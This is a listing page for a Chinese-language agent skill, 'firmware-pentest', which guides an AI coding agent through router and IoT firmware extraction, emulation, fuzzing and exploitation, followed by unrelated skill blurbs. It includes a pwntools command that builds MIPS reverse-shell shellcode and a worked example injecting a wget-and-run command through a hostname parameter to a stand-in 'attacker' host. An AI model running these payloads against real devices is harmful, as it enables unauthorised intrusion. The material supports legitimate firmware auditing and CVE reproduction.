create-rule
Create Cursor rules for persistent AI guidance. Use when the user wants to create a rule, add coding standards, set up project conventions, configure…
固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU
$ npx -y skills add coco-research/coco --skill firmware-pentest --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/firmware-pentestContext preview
The summary Claude sees to decide when to auto-load this skill.
固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU
name: firmware-pentest description: | 固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。 user-invocable: true
下列任务进入本 skill:
1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE 2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞 3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump 4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT) 5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz) 6. **硬件接口接入**(UART / JTAG / SPI flash dump)
| 场景 | 用什么 | |------|--------| | 从零拿到固件,全链路走 FSTM | **本 skill** | | 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` | | 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` | | 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` | | APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) | | 跨版本固件符号迁移 | `binary-diff/` |
固件 .bin │ ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分) │ ├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader │ │ │ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读 │ ├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep │ ├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot │ ├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra │ └─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
关键判断:
收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备) curl -s "https://fccid.io/?q=$FCC_ID" # 芯片识别参考点 echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载 mitmdump -s save_response.py # UART 接入(USB-TTL,常用波特率 57600 / 115200) picocom -b 115200 /dev/ttyUSB0 # SPI flash 用 CH341A + flashrom 读 flashrom -p ch341a_spi -r dump.bin
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描 binwalk -E firmware.bin # 熵图,高熵段=压缩/加密 strings -n 8 firmware.bin | less # banner / 内核版本 / 路径 file firmware.bin hexdump -C firmware.bin | head -64
详见 `references/extraction-methodology.md`。
binwalk -eM firmware.bin # 递归提取 unblob -d out/ firmware.bin # 处理 binwalk 失败的格式 jefferson rootfs.jffs2 -d rootfs/ # JFFS2 ubireader_extract_files rootfs.ubi # UBI
EMBA 一键扫,详见 `references/emba-automated-analysis.md`。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/ find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow" checksec --file=squashfs-root/usr/sbin/httpd
详见 `references/emulation-and-fuzz.md`。
# 用户态:跑单个 binary qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd # 全系统:FAT(Firmadyne 封装版) sudo fat.py firmware.bin
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS qemu-mipsel-static -g 1234 ./vuln_binary gdb-multiarch ./vuln_binary -ex "target remote :1234" # Burp + 路由 Web UI echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"固件: router_v1.2.3.bin(未加密 squashfs) 目标: 找 Web 管理界面未授权 RCE 并复现 Step 1 信息收集 - FCC ID 反查 → MT7621 + MT7615 + 16MB flash - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷) Step 2 获取固件 - 官网下载 .bin,sha256 与已知样本对比 Step 3 分析 - binwalk → 检出 uImage + squashfs-xz - 熵图 → squashfs 段熵 ~0.95(正常压缩) Step 4 提取 - binwalk -eM router_v1.2.3.bin - 得到 squashfs-root/ 完整根文件系统 Step 5 EMBA 扫 - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串 Step 6 仿真 - sudo fat.py router_v1.2.3.bin - 仿真起来 IP 192.168.0.1,Web 可访问 Step 7-8 动态 - Burp 抓 /cgi-bin/luci 系列接口 - 发现 hostname 参数直拼 system Step 9 利用 - 构造 hostname=`;wget http://attacker/x;sh x;` - 仿真态成功反弹 shell - 真机复测通过 → 提报 SRC
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全CoCo Super Intelligence is the orchestration layer that turns Claude Code, Cursor, or Codex into an engineering department: a routed advisory board, 226 skills, 386 commands, persistent state. Local. Open-core — MIT core; Super Intelligence is proprietary, own-use.
Repo: coco-research/coco
Create Cursor rules for persistent AI guidance. Use when the user wants to create a rule, add coding standards, set up project conventions, configure…
Guides users through creating effective Agent Skills for Cursor. Use when the user wants to create, write, or author a new skill, or asks about skill…
Create custom subagents for specialized AI tasks. Use when the user wants to create a new type of subagent, set up task-specific agents, configure code…
Convert 'Applied intelligently' Cursor rules (.cursor/rules/*.mdc) and slash commands (.cursor/commands/*.md) to Agent Skills format (.cursor/skills/). Use…
Modify Cursor/VSCode user settings in settings.json. Use when the user wants to change editor settings, preferences, configuration, themes, font size, tab…
Train and optimize AI agents using Microsoft's Agent Lightning framework with reinforcement learning. Use when setting up agent training, instrumenting agents…